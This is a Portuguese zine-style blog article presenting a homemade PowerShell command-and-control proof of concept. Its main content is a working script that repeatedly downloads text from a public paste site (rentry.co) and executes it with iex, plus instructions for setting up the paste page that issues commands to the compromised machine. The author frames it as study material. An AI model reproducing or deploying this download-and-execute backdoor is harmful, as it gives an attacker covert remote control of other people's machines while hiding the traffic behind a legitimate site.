MY LITTLE POWER COMAND AND CONTROL


        ----------------------------------------------------------------
        offensive think :: artigo técnico em formato zine / nfo
        ----------------------------------------------------------------

        titulo : My Little Power Comand and Control
        autor  : offensive think
        data   : Wed, Mar 30, 2022
        tags   : #powershell

        ----------------------------------------------------------------
        --> https://www.offensivethink.com/posts/my-little-c2.html <--

---[ INDEX ]------------------------------------------------------------
0 - A Ideia
1 - O Powershell
2 - O Site controlador
3 - Talk is Cheap, Show me the Execution!
4 - Possibilidades!




---[ 0x00 - A IDEIA ]---------------------------------------------------
Usar sites públicos sem fins maliciosos que hospedam pequenos pedaços de texto, como dontpad.com, etc. , para passar comandos para um powershell, também “não malicioso” gentilmente hospedado em um servidor/estação.


---[ 0x01 - O POWERSHELL ]----------------------------------------------
Esse código não sofreu nenhuma otimização , ofuscamento ou qualquer coisa do tipo, por se tratar apenas de uma prova de conceito para estudos.

    $urlc2="https://rentry.co/XXXXX/raw" # URL personalizada. XXXXX = Identificador único
    $c0=""
    while(1){
        $c1=(New-Object Net.WebClient).DownloadString($urlc2)
        if( $c1 -ne $c0 ) {
             iex $c1
             $c0=$c1
        }
        sleep(3) # Timer, apenas para não ficar consumindo recursos o tempo todo!
    }



---[ 0x02 - O SITE CONTROLADOR ]----------------------------------------
Utilizamos o https://rentry.co (https://rentry.co/)
Acesse o site, digite o código powershell que deseja executar no server (Ex.: Get-Process) , clique em *GO*
Na tela seguinte anote o seu código de edição, você precisará para trocar os comandos: Your Edit Code e a sua URL. Essa URL, deverá ser colocada na variável $urlc2 adicionando a string /raw no powershell script acima.


---[ 0x03 - TALK IS CHEAP, SHOW ME THE EXECUTION! ]---------------------
[embed] https://www.youtube.com/embed/tW-yMnT9Hvw?feature=oembed


---[ 0x04 - POSSIBILIDADES! ]-------------------------------------------
Muitas. ;D
É só uma prova de conceito e como tal é usada apenas para fins de estudo e verificar as possibilidades de execução de comandos em uma máquina terceira, neste caso, “cegamente”, já que o controlador não tem o retorno do comando. Mas isso dá pra implementar facilmente.  Talvez eu mostre a implementação que fiz na segunda parte ;D

---[ EOF ]--------------------------------------------------------------

                    offensive think / 2026